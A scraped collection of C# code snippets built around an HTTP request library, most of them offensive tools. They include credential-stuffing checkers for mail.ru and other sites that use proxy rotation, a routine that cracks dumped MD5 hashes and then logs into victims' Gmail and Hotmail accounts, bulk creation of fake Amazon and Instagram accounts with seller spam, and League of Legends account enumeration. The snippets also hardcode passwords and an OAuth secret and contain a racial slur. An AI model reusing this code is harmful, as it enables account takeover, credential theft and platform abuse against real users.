private void Avthorization(bool isProxt)
 {
     try
     {
         LogEr.Logerr("Info", "Login start", "Avthorization", DateTime.Now.ToShortTimeString());
         Init(isProxt);
         var htm = httpRequest.Get("https://www.centraldispatch.com/login?uri=%2Fprotected%2F").ToString();
         Tokene = Regex.Match(htm, @"CSRFToken.{4}lue\W\W(\w+)").Groups[1].Value;
         httpRequest.AddParam("Username", "ATS2019");
         httpRequest.AddParam("Password", "Dispatch35221!");
         httpRequest.AddParam("r", "");
         httpRequest.AddParam("CSRFToken", Tokene);
         var res = httpRequest.Post("https://www.centraldispatch.com/login?uri=/protected/");
         cooks = httpRequest.Cookies;
         if (res.Cookies.Count >= 5)
         {
             LogEr.Logerr("Info", "Login successful", "Avthorization", DateTime.Now.ToShortTimeString());
         }
         else
         {
             LogEr.Logerr("Error", "Not successful authorization 'wrong password or login'", "Avthorization", DateTime.Now.ToShortTimeString());
         }
     }
     catch (HttpException e)
     {
         string ipProxy = httpRequest.Proxy != null ? httpRequest.Proxy.Host : "CurrentIp";
         LogEr.Logerr("Error", $"Authorization error, IP: {ipProxy}", "Avthorization", DateTime.Now.ToShortTimeString());
         Avthorization(true);
     }
     catch
     {
         LogEr.Logerr("Error", "Critical authorization error'", "Avthorization", DateTime.Now.ToShortTimeString());
     }
 }
        public static string Check(string email, string password)
        {
            //Создаём экземпляр класса
            HttpRequest req = new HttpRequest();

            //Добавляем параметры
            req.AddParam("grant_type", "password");
            req.AddParam("client_id", "742736");
            req.AddParam("client_secret", "188219ddfca99f8ff1c3a859e0f0b0fd");
            req.AddParam("username", email);
            req.AddParam("password", password);

            try
            {
                //Ебошим запрос на mail.ru
                var response = req.Post("https://appsmail.ru/oauth/token").ToString();

                if (response.Contains("access_token"))
                {
                    return("good");
                }
                else
                {
                    return("bad");
                }
            }
            catch
            {
                //Если пароль неправильный, то эта хуйня нам вернёт ошибку 400
                return("error");
            }
        }
 private void Avthorization(bool isProxt)
 {
     try
     {
         Init(isProxt);
         var htm = httpRequest.Get("https://www.centraldispatch.com/login?uri=%2Fprotected%2F").ToString();
         Tokene = httpRequest.Cookies.GetValueOrDefault("CSRF_TOKEN", ""); //Regex.Match(htm, @"CSRFToken.{4}lue\W\W(\w+)").Groups[1].Value;
         httpRequest.AddParam("Username", "ATS2019");
         httpRequest.AddParam("Password", "Dispatch35221!");
         httpRequest.AddParam("r", "");
         httpRequest.AddParam("CSRFToken", Tokene);
         var res = httpRequest.Post("https://www.centraldispatch.com/login?uri=/protected/");
         cooks = httpRequest.Cookies;
         if (res.Cookies.Count >= 5)
         {
         }
         else
         {
         }
     }
     catch (HttpException e)
     {
         string ipProxy = httpRequest.Proxy != null ? httpRequest.Proxy.Host : "CurrentIp";
         Avthorization(true);
     }
     catch
     {
     }
 }
Example #4
0
 void SendMess(Http http, string mail)
 {
     txtListID.Invoke(new MethodInvoker(delegate()
     {
         List <string> listID = CreateListFromRichTextBox(txtListID);
         txtListMessage.Invoke(new MethodInvoker(delegate()
         {
             List <string> listMessages = CreateListFromRichTextBox(txtListMessage);
             foreach (var mess in listMessages)
             {
                 foreach (var id in listID)
                 {
                     ThreadPool.QueueUserWorkItem((o) =>
                     {
                         HttpRequest requestSendMess = new HttpRequest();
                         requestSendMess.AddParam("comment", mess);
                         HttpResponse responseLogin = http.PostUrlEncoded($"https://www.amazon.com/ss/help/contact/submitMessage?writeButton=submit&subject=3&orderID=&sellerID={id}&asin=&marketplaceID=ATVPDKIKX0DER&language=en_US", requestSendMess);
                         txtResult.Invoke(new MethodInvoker(delegate()
                         {
                             PrintLog($"{mail} send to {id} success", Color.Green);
                         }));
                     });
                 }
             }
         }));
     }));
 }
Example #5
0
        public void send(string filename)
        {
            int kol = int.Parse(sys.setting.Get(_n, "symbols"));
            //string url = "https://docs.google.com/forms/d/e/1FAIpQLSeDPt79sPpuxYhecljV_iPrCRkemMkTAJ3xsaRmYmctgaDM1g/formResponse";

            string str = System.IO.File.ReadAllText(filename);

            DP_SCH_LIB.CRYPT cr = new DP_SCH_LIB.CRYPT(sys.setting.Get(_n, "pass"));
            str = cr.Enc(str);
            HttpRequest Http = new HttpRequest();
            int         i    = 0;

            while (i < str.Length)
            {
                string tmp = "part" + i.ToString() + "-";
                if ((i + kol) > str.Length)
                {
                    tmp += str.Substring(i);
                }
                else
                {
                    tmp += str.Substring(i, kol);
                }
                using (var request = new HttpRequest())
                {
                    request.AddParam(sys.setting.Get(_n, "Label"), tmp);
                    //sys.writeln(request.Post(sys.setting.Get(_n,"url")).ToString());
                    request.Post(sys.setting.Get(_n, "url"));
                }
                i += kol;
            }
        }
Example #6
0
        public bool Post_Auth(string login, string password) /*string token*/

        {
            using (var request = new HttpRequest())
            {
                cook.Clear();
                //string Domain = "mail.ru"; //домен по умолчанию mail.ru
                request.Cookies = cook;
                request.AddParam("post"); // добавляем параметры
                request.AddParam("mhost", "m.mail.ru");
                request.AddParam("login_from");
                request.AddParam("Login", login);
                request.AddParam("Domain");
                request.AddParam("Password", password);
                HttpResponse response = request.Post(Pars_Link(GET()));
                if (response.ContainsCookie("ssdc")) //при гуде будет кука с именем ssdc
                {
                    return(true);
                }
                else //DBDBDBDBDBDBDBDB
                {
                    return(false);
                }
            }
        }
Example #7
0
 private bool GetUsername(string username)
 {
     using (HttpRequest httpRequest = new HttpRequest())
     {
         httpRequest.AddHeader("User-Agent", "Instagram 20.6.4 Android (18/4.3; 480dpi; 1080x1812; HUAWEI; HUAWEI VNS-L31; HWVNS-H; hi6250; es_ES)");
         httpRequest.AddHeader("Cookie", api.String13);
         httpRequest.AddHeader("X-IG-Connection-Type", "WIFI");
         httpRequest.AddHeader("X-IG-Capabilities", "3ToAAA==");
         httpRequest.AddParam("gender", (object)"1");
         httpRequest.AddParam("_csrftoken", (object)"missing");
         httpRequest.AddParam("_uuid", (object)Guid.NewGuid().ToString().ToUpper());
         httpRequest.AddParam("_uid", (object)"3");
         httpRequest.AddParam("external_url", (object)"www.bruh.com");
         httpRequest.AddParam(nameof(username), (object)username);
         httpRequest.AddParam("email", (object)api.String5);
         httpRequest.AddParam("phone_number", (object)"");
         httpRequest.AddParam("biography", (object)"me when my bio is made for no reason bruh");
         httpRequest.AddParam("first_name", (object)"commit die");
         int num = (int)Interaction.MsgBox((object)httpRequest.Post("https://i.instagram.com/api/v1/accounts/edit_profile/").ToString(), MsgBoxStyle.OkOnly, (object)null);
     }
     return(false);
 }
Example #8
0
 public void AddParamsLogin(string postdata)
 {
     try
     {
         string[] arraypostdata = postdata.Split('&');
         foreach (string param in arraypostdata)
         {
             string[] par_ = param.Split('=');
             http.AddParam(par_[0], par_[1]);
         }
     }
     catch { }
 }
Example #9
0
        void CreateAccount(Http http)
        {
            const string GET_URL_REGISTER  = "https://www.amazon.com/ap/register?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fyourstore%2Fhome%3Fie%3DUTF8%26ref_%3Dnav_custrec_newcust";
            const string URL_LOGIN_SUCCESS = "https://www.amazon.com/gp/yourstore/home?ie=UTF8&action=sign-out&path=%2Fgp%2Fyourstore%2Fhome&ref_=nav_youraccount_signout&signIn=1&useRedirectOnSuccess=1&claim_type=EmailAddress&new_account=1&";
            const string POST_URL_REGISTER = "https://www.amazon.com/ap/register";

            Bogus.Faker faker         = new Bogus.Faker();
            string      fakerName     = faker.Name.FullName();
            string      fakerPassword = faker.Internet.Password();
            string      fakerEmail    = faker.Internet.Email();
            string      register      = "REGISTER";

            http.CookieDir   = "memory";
            http.SaveCookies = true;
            http.SendCookies = true;
            http.UserAgent   = GetUserAgent().ToString();

            string htmlLogin = http.QuickGetStr(GET_URL_REGISTER);

            if (String.IsNullOrEmpty(htmlLogin))
            {
                return;
            }
            else
            {
                string appActionToken = Regex.Match(htmlLogin, "name=\"appActionToken\" value=\"(.+?)\" />").Groups[1].Value.Trim();
                string openidReturnTo = Regex.Match(htmlLogin, "name=\"openid.return_to\" value=\"(.+?)\" />").Groups[1].Value.Trim();
                string prevRID        = Regex.Match(htmlLogin, "name=\"prevRID\" value=\"(.+?)\" />").Groups[1].Value.Trim();
                string workflowState  = Regex.Match(htmlLogin, "name=\"workflowState\" value=\"(.+?)\" />").Groups[1].Value.Trim();

                HttpRequest requestLogin = new HttpRequest();
                requestLogin.AddParam("appActionToken", appActionToken);
                requestLogin.AddParam("appAction", register);
                requestLogin.AddParam("openid.return_to", openidReturnTo);
                requestLogin.AddParam("prevRID	", prevRID);
                requestLogin.AddParam("workflowState", workflowState);
                requestLogin.AddParam("customerName", fakerName);
                requestLogin.AddParam("email", fakerEmail);
                requestLogin.AddParam("password", fakerPassword);
                requestLogin.AddParam("passwordCheck", fakerPassword);
                HttpResponse responseLogin = http.PostUrlEncoded(POST_URL_REGISTER, requestLogin);
                if (responseLogin == null)
                {
                    PrintLog($"responseLogin {fakerEmail} error", Color.Red);
                    return;
                }
                else
                {
                    string htmlLoginSuccess = http.QuickGetStr(URL_LOGIN_SUCCESS);
                    if (String.IsNullOrEmpty(htmlLoginSuccess))
                    {
                        PrintLog($"htmlLoginSuccess {fakerEmail} error", Color.Red);
                        return;
                    }
                    else
                    {
                        string checkEmailExists = Regex.Match(htmlLoginSuccess, "<title dir=\"ltr\">(.+?)</title>").Groups[1].Value.Trim();
                        bool   check            = Equals(checkEmailExists, "Amazon Sign In");
                        if (check)
                        {
                            PrintLog($"{fakerEmail} exists", Color.Linen);
                            return;
                        }
                        SendMess(http, fakerEmail);
                        string log = fakerName + "|" + fakerEmail + "|" + fakerPassword;
                        WriteLog(log);
                    }
                }
            }
        }
        public void crackSomeNigs()
        {
            Chilkat.Http http = new Chilkat.Http();

            bool success;
            success = http.UnlockComponent("30277129240");
            if (success != true) {
                    Console.WriteLine(http.LastErrorText);
                    return;
            }

            Chilkat.HttpRequest req = new HttpRequest();
                StreamWriter SWst;
                string time = DateTime.Now.ToString();
                SWst = File.AppendText(@"out.txt");
                SWst.WriteLine("RECoders.org - Database Extractor&Cracker: "+time);
                SWst.WriteLine("\n\n\n");
                SWst.Close();

                for(int i=0;i<usernames.Count;i++) {
                //Setup the post request to md5crack.com
                req.UsePost();
                req.Path = "/crackmd5.php";
                req.AddParam("crackbtn", "Crack that hash baby!");
                req.AddParam("term", md5s[i]);
                Chilkat.HttpResponse resp = http.SynchronousRequest("md5crack.com",80,false,req);

                Match match = Regex.Match(resp.BodyStr, @"(?<=\()(.*?)(?=\))", RegexOptions.IgnoreCase);
                string matchstr = match.ToString();
                string m = Regex.Replace(matchstr, @"[^\w\.@-]", "");

                    //Print out the details from the database
                    Console.WriteLine("ID: {0}", i);
                    Console.WriteLine("Username: {0}", usernames[i]);
                    Console.WriteLine("Email: {0}", emails[i]);
                    Console.WriteLine("Gmail: {0}", gmail[i]);

                    //If the email adress has been flagged as gmail, attempt to mail home email adress to verify
                    if(gmail[i] == 0) {
                        Console.WriteLine("Attempting to Email Home - GMAIL");
                        //string adress = emails[i];
                           System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
                           System.Net.NetworkCredential cred = new System.Net.NetworkCredential(emails[i], m);

                        mail.To.Add("*****@*****.**"); //my test email, change to yours.
                        mail.Subject = "Ding";

                        mail.From = new System.Net.Mail.MailAddress(emails[i]);
                        mail.IsBodyHtml = true;
                        mail.Body = "Password: "******"\nHEH";

                        System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com");
                        smtp.UseDefaultCredentials = false;
                        smtp.EnableSsl = true;
                        smtp.Credentials = cred;
                        smtp.Port = 587;
                        try {
                            smtp.Send(mail);
                            Console.WriteLine("Mail Sent.");
                        } catch {
                            Console.WriteLine("Failed");
                        }

                    }
                    if(gmail[i] == 2) {
                        Console.WriteLine("Attempting to Email Home - HOTMAIL");
                        //string adress = emails[i];
                           System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
                           System.Net.NetworkCredential cred = new System.Net.NetworkCredential(emails[i], m);

                        mail.To.Add("*****@*****.**"); //my test email, change to yours.
                        mail.Subject = "Ding";

                        mail.From = new System.Net.Mail.MailAddress(emails[i]);
                        mail.IsBodyHtml = true;
                        mail.Body = m;

                        System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.live.com");
                        smtp.UseDefaultCredentials = false;
                        smtp.EnableSsl = true;
                        smtp.Credentials = cred;
                        smtp.Port = 25;
                        try {
                            smtp.Send(mail);
                            Console.WriteLine("Mail Sent.");
                        } catch {
                            Console.WriteLine("Failed");
                        }

                    }
                    //Finally return the value of the cracked hash
                    Console.WriteLine("CRACKED HASH: {0}", m);
                    Console.WriteLine("\n");
                    StreamWriter SW;
                    SW = File.AppendText(@"out.txt");
                    SW.WriteLine("Database Entry: {0}", i);
                    SW.WriteLine("Username: {0}",usernames[i]);
                    SW.WriteLine("Uncracked Hash: {0}",md5s[i]);
                    SW.WriteLine("Email: {0}",emails[i]);
                    SW.WriteLine("CRACKED HASH: {0}\n", m);
                    SW.WriteLine("!@#$%^&*!@#$%^&*!@#$%^&*==CRACKED==!@#$%^&*!@#$%^&*!@#$%^&*");
                    SW.WriteLine("\n");
                    SW.Close();
                    match = null;
                    m = null;
                    }
        }
Example #11
0
        public static string Reg()
        {
            using (var request = new HttpRequest())
            {
                string CSRF = GetCSRFToken.GetCSRF();
                request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36";

                request.AddHeader("X-CSRFToken", CSRF)
                .AddHeader("X-Instagram-AJAX", "1")
                .AddHeader("X-Requested-With", "XMLHttpRequest");

                request.Referer = "https://www.instagram.com/";

                request.Cookies = new CookieDictionary()
                {
                    { "csrftoken", CSRF },
                    { "mid", GetCSRFToken.midtoken },
                    { "ig_prn", "1" },
                    { "ig_vw", "1920" },
                    { "s_network", "" }
                };

                request.AddParam("email", GetEmail.RandomEmail)
                .AddParam("password", "StasPidoras")
                .AddParam("username", "Stoos34164124455")
                .AddParam("first_name", GetFirstName.RandomFirstName);
                Thread.Sleep(300);

                var response = request.Post("https://www.instagram.com/accounts/web_create_ajax/attempt/");

                Thread.Sleep(300);
                request.AddHeader("X-CSRFToken", CSRF)
                .AddHeader("X-Instagram-AJAX", "1")
                .AddHeader("X-Requested-With", "XMLHttpRequest");

                request.AddParam("email", GetEmail.RandomEmail)
                .AddParam("password", "StasPidoras")
                .AddParam("username", "Stoos34164124455")
                .AddParam("first_name", GetFirstName.RandomFirstName);

                request.Cookies = new CookieDictionary()
                {
                    { "csrftoken", CSRF },
                    { "mid", GetCSRFToken.midtoken },
                    { "ig_prn", "1" },
                    { "ig_vw", "706" },
                    { "s_network", "" }
                };

                response = request.Post("https://www.instagram.com/accounts/web_create_ajax/");

                //JsonConvert.DeserializeObject<IsAuthenticated>(response.ToString());

                //if (IsAuthenticated.Client_Authenticated == true)
                //{
                //    return response;
                //}
                //else return null;
                return(response.ToString());
            }
        }
Example #12
0
        private static async Task <HttpRequest> GetRequest(string userName, string userPass)
        {
            return(await Task.Run(() =>
            {
                try
                {
                    var doc = new HtmlDocument();
                    var req = new HttpRequest
                    {
                        Cookies = new CookieDictionary(),
                        //Proxy = new HttpProxyClient("127.0.0.1", 8888)
                    };
                    const string url = "http://shop.omega-auto.biz/Account/Login.aspx?ReturnUrl=%2f";

                    var resp = req.Get(url).ToString();
                    doc.LoadHtml(resp);

                    var __VIEWSTATE = doc.GetElementbyId("__VIEWSTATE").GetAttributeValue("value", string.Empty);
                    var __PREVIOUSPAGE = doc.GetElementbyId("__PREVIOUSPAGE").GetAttributeValue("value", string.Empty);
                    var __EVENTVALIDATION = doc.GetElementbyId("__EVENTVALIDATION")
                                            .GetAttributeValue("value", string.Empty);

                    req.AddParam(@"__EVENTTARGET", "");
                    req.AddParam(@"__EVENTARGUMENT", "");
                    req.AddParam(@"TextField2", "");
                    req.AddParam(@"PasswordField", "");
                    req.AddParam(@"TextField1", "");
                    req.AddParam(@"LoginUser$LoginButton", "Войти");
                    req.AddParam(@"LoginUser$Password", userPass);
                    req.AddParam(@"LoginUser$UserName", userName);
                    req.AddParam(@"__EVENTVALIDATION", __EVENTVALIDATION);
                    req.AddParam(@"__PREVIOUSPAGE", __PREVIOUSPAGE);
                    req.AddParam(@"__VIEWSTATE", __VIEWSTATE);

                    req.Post(url).None();
                    //req.Get("http://shop.omega-auto.biz/Home/").None();

                    return req;
                }
                catch (Exception ex)
                {
                    Informer.RaiseOnResultReceived(ex);
                    return null;
                }
            }));
        }
Example #13
0
        private void Login()
        {
            try
            {
                //while (true)
                //{
                var doc = new HtmlAgilityPack.HtmlDocument();

                HttpRequest rq = new HttpRequest();
                rq.Cookies = new CookieDictionary();
                //rq.Proxy = new HttpProxyClient("127.0.0.1", 8888);
                string html = rq.Get("https://id.zing.vn/").ToString();
                rq.AddParam("pid", "38");
                rq.AddParam("u1", "https://id.zing.vn/v2/login/cb?apikey=92140c0e46c54994812403f564787c14&pid=38&_src=&utm_source=&utm_medium=&utm_term=&utm_content=&utm_campaign=&next=https%3A%2F%2Fid.zing.vn%2Fv2%2Finfosetting%3Fapikey%3D92140c0e46c54994812403f564787c14%26pid%3D38&referer=");
                rq.AddParam("fp", "https://id.zing.vn/v2/login/cb?apikey=92140c0e46c54994812403f564787c14&pid=38&_src=&utm_source=&utm_medium=&utm_term=&utm_content=&utm_campaign=&next=https%3A%2F%2Fid.zing.vn%2Fv2%2Finfosetting%3Fapikey%3D92140c0e46c54994812403f564787c14%26pid%3D38&referer=");
                rq.AddParam("apikey", "92140c0e46c54994812403f564787c14");
                rq.AddParam("u", "thanhps422");
                rq.AddParam("p", "123123123");
                rq.UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";
                rq.Referer   = "https://id.zing.vn/v2/login?apikey=92140c0e46c54994812403f564787c14&data=V8qMSFbMj09UY_q9eg";
                html         = rq.Post("https://sso3.zing.vn/alogin").ToString();
                string token = null;
                if (html.Contains("captcha2.zing.vn"))
                {
                    doc.LoadHtml(html);
                    string urlCaptcha = doc.DocumentNode.SelectSingleNode("//p[@class='catchacode']//img").Attributes["src"].Value;
                    token = doc.DocumentNode.SelectSingleNode("//input[@id='token']").Attributes["value"].Value;
                    var piccap = rq.Get(urlCaptcha).ToBytes();
                    picCaptcha.Image = Image.FromStream(new MemoryStream(piccap));
                    picCaptcha.Refresh();
                    Delay();

                    rq.AddParam("pid", "38");
                    rq.AddParam("u1", "https://id.zing.vn/v2/login/cb?apikey=92140c0e46c54994812403f564787c14&pid=38&_src=&utm_source=&utm_medium=&utm_term=&utm_content=&utm_campaign=&next=https%3A%2F%2Fid.zing.vn%2Fv2%2Finfosetting%3Fapikey%3D92140c0e46c54994812403f564787c14%26pid%3D38&referer=");
                    rq.AddParam("fp", "https://id.zing.vn/v2/login/cb?apikey=92140c0e46c54994812403f564787c14&pid=38&_src=&utm_source=&utm_medium=&utm_term=&utm_content=&utm_campaign=&next=https%3A%2F%2Fid.zing.vn%2Fv2%2Finfosetting%3Fapikey%3D92140c0e46c54994812403f564787c14%26pid%3D38&referer=");
                    rq.AddParam("apikey", "92140c0e46c54994812403f564787c14");
                    rq.AddParam("u", "thanhps422");
                    rq.AddParam("p", "123123123");
                    rq.AddParam("imgcode", txtCaptcha.Text);
                    rq.AddParam("xlogin", "");
                    rq.AddParam("websso", "1");
                    rq.AddParam("token", token);

                    html = rq.Post("https://sso3.zing.vn/aliasatten").ToString();
                    if (html.Contains("logout"))
                    {
                        MessageBox.Show("ok");
                    }
                }
                else
                {
                    MessageBox.Show("eo captcha");
                }

                //}



                //doc.LoadHtml(html);
                //string username = doc.DocumentNode.SelectSingleNode("//div[@class='infotext']").InnerText;
                //txtOutput.Text = username;
                //html = rq.Get("https://id.zing.vn/v2/infosetting/personal").ToString();
                //doc.LoadHtml(html);
                //string personal_tokenCaptcha = doc.DocumentNode.SelectSingleNode("//input[@id='personal_tokenCaptcha']").Attributes["value"].Value;
                //Random rn = new Random();
                //string jsrandom = rn.Next(400000, 600000).ToString("D6");
                //string demohtml = rq.Get($"https://id.zing.vn/ajax/gentoken?callback=zmCore.js{jsrandom}").ToString();
                //string tokenExpire = Regex.Match(demohtml, "msg\":\"([^\"]+)").Groups[1].Value;

                //rq.AddUrlParam("action", "personal.update");
                //rq.AddUrlParam("fullname", "Moi update 2 ");
                //rq.AddUrlParam("gender", "0");
                //rq.AddUrlParam("add", "dia chi ao 2");
                //rq.AddUrlParam("dob", "3");
                //rq.AddUrlParam("mob", "4");
                //rq.AddUrlParam("yob", "2000");
                //rq.AddUrlParam("city", "53");
                //rq.AddUrlParam("occupation", "4");
                //rq.AddUrlParam("maritalstatus", "0");
                //rq.AddUrlParam("tokenCaptcha", personal_tokenCaptcha);
                //rq.AddUrlParam("tokenExpire", tokenExpire);
                //rq.AddUrlParam("callback", $"zmCore.js{jsrandom}");
                //html = rq.Get("https://id.zing.vn/v2/infosetting/personal/update").ToString();
                //if (html.Contains("Cập nhật thành công"))
                //    MessageBox.Show("Update Success!");
                //else
                //    MessageBox.Show("Error!");
                //Dictionary<int, string> city = new Dictionary<int, string>();
                //city.Add(31, "An Giang");
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
                Console.WriteLine(ex.ToString());
            }
        }
        // Token: 0x06000014 RID: 20 RVA: 0x000024C0 File Offset: 0x000006C0
        public void method_5()
        {
            string proxyAddress = this.string_1[this.random_0.Next(0, this.int_1)];

            while (this.queue_0.Count > 0)
            {
                object obj  = this.object_0;
                object obj2 = obj;
                string text;
                lock (obj2)
                {
                    text = this.queue_0.Peek().ToString().TrimEnd(new char[]
                    {
                        '\r'
                    }).Trim();
                    this.queue_0.Dequeue();
                }
                string[] array = text.Split(new char[]
                {
                    ':'
                });
                try
                {
                    using (HttpRequest httpRequest = new HttpRequest())
                    {
                        httpRequest.Proxy = ProxyClient.Parse(this.proxyType_0, proxyAddress);
                        CookieDictionary cookies = new CookieDictionary(false);
                        httpRequest.Cookies              = cookies;
                        httpRequest.ConnectTimeout       = 20000;
                        httpRequest.IgnoreProtocolErrors = true;
                        httpRequest.AllowAutoRedirect    = true;
                        httpRequest.KeepAlive            = true;
                        httpRequest.UserAgent            = Http.ChromeUserAgent();
                        string string_ = httpRequest.Get("https://customhere.com", null).ToString();
                        string value   = checker.smethod_0(string_, "id=\"csrf\" type=\"hidden\" name=\"csrf\" value=\"", "\"/>");
                        httpRequest.AddParam("user_email", array[0]);
                        httpRequest.AddParam("password", array[1]);
                        httpRequest.AddParam("csrf", value);
                        string text2 = httpRequest.Post("https://customhere.com").ToString();
                        bool   flag2 = text2.Contains("{}");
                        if (flag2)
                        {
                            string string_2 = httpRequest.Get("https://customhere.com", null).ToString();
                            string str      = checker.smethod_0(string_2, "{\"id\":\"", "\",");
                            string string_3 = httpRequest.Get("https://customhere.com" + str + "&zzcb=31594021", null).ToString();
                            string text3    = checker.smethod_0(string_3, "\"subscription_plan\": {\"name\":\"", "\",");
                            bool   flag3    = text3 == "";
                            if (flag3)
                            {
                                text3 = "None";
                            }
                            obj = this.object_0;
                            object obj3 = obj;
                            lock (obj3)
                            {
                                Array.Resize <string>(ref this.string_2, this.int_2 + 1);
                                this.string_2[this.int_2] = text + " ------> Subsciption: " + text3;
                                this.int_2++;
                                this.int_5++;
                                this.int_6--;
                                continue;
                            }
                        }
                        obj = this.object_0;
                        object obj4 = obj;
                        lock (obj4)
                        {
                            this.int_3++;
                        }
                        this.int_5++;
                        this.int_6--;
                    }
                }
                catch
                {
                    this.int_7++;
                    this.queue_0.Enqueue(text);
                    proxyAddress = this.string_1[this.random_0.Next(0, this.int_1)];
                }
            }
            bool flag6 = this.int_5 == this.int_0;

            if (flag6)
            {
                this.method_6();
            }
        }
Example #15
0
        public static void sendReq(string action, string LoginEmail)
        {
            FORM_recover main = new FORM_recover();

            if (action == "LOGINS")
            {
                paramReq = "accountname";
                uri      = new Uri("https://account.leagueoflegends.com/recover/password");
            }
            else if (action == "EMAILS")
            {
                paramReq = "email";
                uri      = new Uri("https://account.leagueoflegends.com/recover/username");
            }



            try
            {
                Console.WriteLine("PROXY_TYPE: " + mProxy.proxyTYPE);
                Console.WriteLine("CURRENT_PROXY: " + mProxy.currentProxy);
                //Thread.Sleep(5000);
                using (var request = new HttpRequest())
                {
                    if (mProxy.proxyTYPE != "none")
                    {
                        string[] proxy = mProxy.currentProxy.Split(':');

                        if (mProxy.proxyTYPE == "https")
                        {
                            proxyClient = new HttpProxyClient(proxy[0], Convert.ToInt32(proxy[1]));
                        }
                        else if (mProxy.proxyTYPE == "socks4")
                        {
                            proxyClient = new Socks4ProxyClient(proxy[0], Convert.ToInt32(proxy[1]));
                        }
                        else if (mProxy.proxyTYPE == "socks5")
                        {
                            proxyClient = new Socks5ProxyClient(proxy[0], Convert.ToInt32(proxy[1]));
                        }

                        request.Proxy = proxyClient;
                    }
                    if (pVar.cf_clearance.Length == 0)
                    {
                        mProxy.currentProxy = mProxy.nextProxy();
                        getCloudFlareCookies();
                    }


                    request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36";
                    request.KeepAlive = true;
                    request
                    .AddParam(paramReq, LoginEmail)


                    .AddHeader(HttpHeader.Referer, "https://account.leagueoflegends.com/pm.html?xdm_e=https%3A%2F%2Faccount.leagueoflegends.com%2Fna%2Fen%2Fforgot-password&xdm_c=default3177&xdm_p=4")
                    .AddHeader(HttpHeader.Accept, "application/json, text/javascript, */*; q=0.01")
                    .AddHeader("X-NewRelic-ID", "UA4OVVRUGwEDVllXDgA=")
                    .AddHeader("Origin", "https://account.leagueoflegends.com")
                    .AddHeader("X-Requested-With", "XMLHttpRequest")
                    //.AddHeader(HttpHeader.ContentType, "application/x-www-form-urlencoded")
                    .AddHeader(HttpHeader.ContentEncoding, "gzip, deflate, br")
                    .AddHeader(HttpHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4");

                    request.Cookies = new CookieDictionary()
                    {
                        { "__cfduid", pVar.__cfduid },
                        { "cf_clearance", pVar.cf_clearance },
                        { "PVPNET_LANG", "en_US" },
                        { "PVPNET_REGION", "euw" }
                    };

                    request.Cookies.IsLocked = true;
                    Console.WriteLine(request.Cookies);
                    result = request.Post(uri).ToString();
                    JsonS jsons = JsonConvert.DeserializeObject <JsonS>(result);

                    if (jsons.Success == true)
                    {
                        pVar.counterACCS++;  pVar.counterERRORS = 0; pVar.countGOOD++; main.showSuccess();
                    }
                    else if (jsons.Success == false)
                    {
                        pVar.counterERRORS++; main.showErrors();
                    }


                    if (pVar.counterERRORS == 3)
                    {
                        pVar.__cfduid       = string.Empty;
                        pVar.cf_clearance   = string.Empty;
                        mProxy.currentProxy = mProxy.nextProxy();
                        // WebBrowser BROWSER = new WebBrowser();
                        // BROWSER.BrowserOpen();
                    }
                    Console.WriteLine("RESULT: " + jsons.Success);
                    Console.WriteLine("OTVET: " + jsons.message);
                }
            }
            catch (Exception ex) { Console.WriteLine(ex.Message); result = "lose"; }

            pVar.counterERRORS++;
            if (pVar.counterERRORS == 3)
            {
                pVar.__cfduid       = string.Empty;
                pVar.cf_clearance   = string.Empty;
                mProxy.currentProxy = mProxy.nextProxy();
                // WebBrowser BROWSER = new WebBrowser();
                // BROWSER.BrowserOpen();
            }
        }